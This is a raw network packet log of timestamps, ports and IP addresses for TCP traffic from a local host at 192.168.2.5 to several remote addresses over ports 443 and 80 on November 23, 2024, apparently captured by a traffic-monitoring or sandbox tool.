Nov 23, 2024 15:37:23.551671982 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.551716089 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.688802004 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.688836098 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.688936949 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.688970089 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.689022064 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.704646111 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.704677105 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.704722881 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.704730034 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.704757929 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.704785109 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.718287945 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.718318939 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.718377113 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.718385935 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.718436956 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.734121084 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.734148979 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.734247923 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.734253883 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.734308958 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.750015020 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.750040054 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.750133991 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.750309944 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.751178980 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.751198053 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.785861969 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.785893917 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.785979986 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.787637949 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.787741899 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.787842989 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.788012981 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.788026094 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.789633989 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.789684057 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.789761066 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.789851904 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.789886951 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.789979935 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.789997101 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.791214943 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.791254044 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.791347027 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.792186022 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.792196989 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.792259932 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.792350054 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.792373896 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.792404890 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.792418003 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:24.409671068 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:24.409785986 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:24.413722992 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:24.413755894 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:24.414139986 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:24.423845053 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:24.423887968 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:24.424113035 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:25.137697935 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:25.137774944 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:25.137864113 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:25.138192892 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:25.138214111 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:25.138232946 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:25.138240099 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:25.140206099 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:25.259974957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:25.260102034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:25.260679960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:25.380506992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:25.516879082 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.517554998 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.517585039 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.519387007 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.519401073 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.577980995 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.578526020 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.578578949 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.579050064 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.579056978 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.579745054 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.580051899 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.580077887 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.580401897 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.580408096 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.583882093 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.584239006 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.584249020 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.584649086 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.584655046 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.645045042 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.645535946 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.645559072 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.646044970 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.646055937 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.952666044 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.952862978 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.952935934 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.959629059 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.959693909 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:25.959729910 CET	49720	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:25.959745884 CET	443	49720	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.005328894 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.005381107 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.005445957 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.009572983 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.009589911 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.025903940 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.025989056 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.026047945 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.027410030 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.027432919 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.027447939 CET	49723	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.027455091 CET	443	49723	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.031359911 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.031388998 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.031439066 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.031450033 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.032104015 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.032152891 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.034647942 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.034706116 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.034761906 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.034775972 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.034820080 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.034842014 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.034892082 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.035459995 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.035478115 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.035489082 CET	49719	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.035496950 CET	443	49719	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.039102077 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.039108038 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.039120913 CET	49721	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.039125919 CET	443	49721	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.043379068 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.043443918 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.043519020 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.043903112 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.043932915 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.044940948 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.044970989 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.045023918 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.045135975 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.045151949 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.055195093 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.055208921 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.055303097 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.062141895 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.062159061 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.100877047 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.100934982 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.101002932 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.101036072 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.101090908 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.103969097 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.103988886 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.104020119 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.104268074 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.104322910 CET	443	49722	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.104383945 CET	49722	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.140918970 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.140990019 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.141084909 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.141261101 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:26.141288042 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:26.604886055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.604926109 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.604953051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.604968071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.604983091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605005980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605021954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605036020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605052948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605070114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.605118990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.605226994 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.725913048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.725969076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.726042032 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.796953917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.797235966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.797301054 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.801189899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.801306009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.801361084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.809600115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.809734106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.809791088 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.818026066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.818125963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.818186998 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.826472998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.826545000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.826622963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.834852934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.835019112 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.835083961 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.843566895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.843718052 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.843789101 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.851766109 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.851813078 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.851867914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.860176086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.860347033 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.860399961 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.868558884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.868643999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.868699074 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.876956940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.877027035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.877083063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.989088058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.989140987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.989339113 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:26.993215084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.994780064 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.994843006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:26.994843960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.003339052 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.003396988 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.003412008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.011600018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.011662006 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.011708021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.016649961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.016714096 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.016738892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.021445036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.021498919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.021569014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.026417017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.026469946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.026540041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.031136036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.031184912 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.031229019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.035937071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.035986900 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.036037922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.040796995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.040843964 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.040888071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.045598030 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.045644999 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.045718908 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.050445080 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.050498009 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.050585032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.055275917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.055331945 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.055378914 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.060251951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.060300112 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.060343981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.064933062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.064979076 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.065054893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.069719076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.069820881 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.181061983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.181179047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.181268930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.183284044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.184185028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.184248924 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.184279919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.188746929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.188841105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.188927889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.193367958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.193448067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.193497896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.197999001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.198066950 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.198080063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.202277899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.202342987 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.202352047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.206495047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.206564903 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.206593037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.210707903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.210771084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.210823059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.214915037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.214972973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.215007067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.219158888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.219218016 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.219239950 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.223390102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.223452091 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.223495960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.227593899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.227650881 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.227694035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.231801987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.231863022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.231914043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.236033916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.236109972 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.236135960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.240278006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.240339041 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.240348101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.244491100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.244549990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.244611979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.248693943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.248750925 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.248809099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.252906084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.252969980 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.253034115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.257114887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.257165909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.257200956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.261480093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.261533022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.261542082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.265547037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.265613079 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.265655994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.269758940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.269809961 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.269936085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.274137020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.274164915 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.274193048 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.278192997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.278254986 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.278300047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.282409906 CET	80	49724	185.215.113.16	192.168.2.5
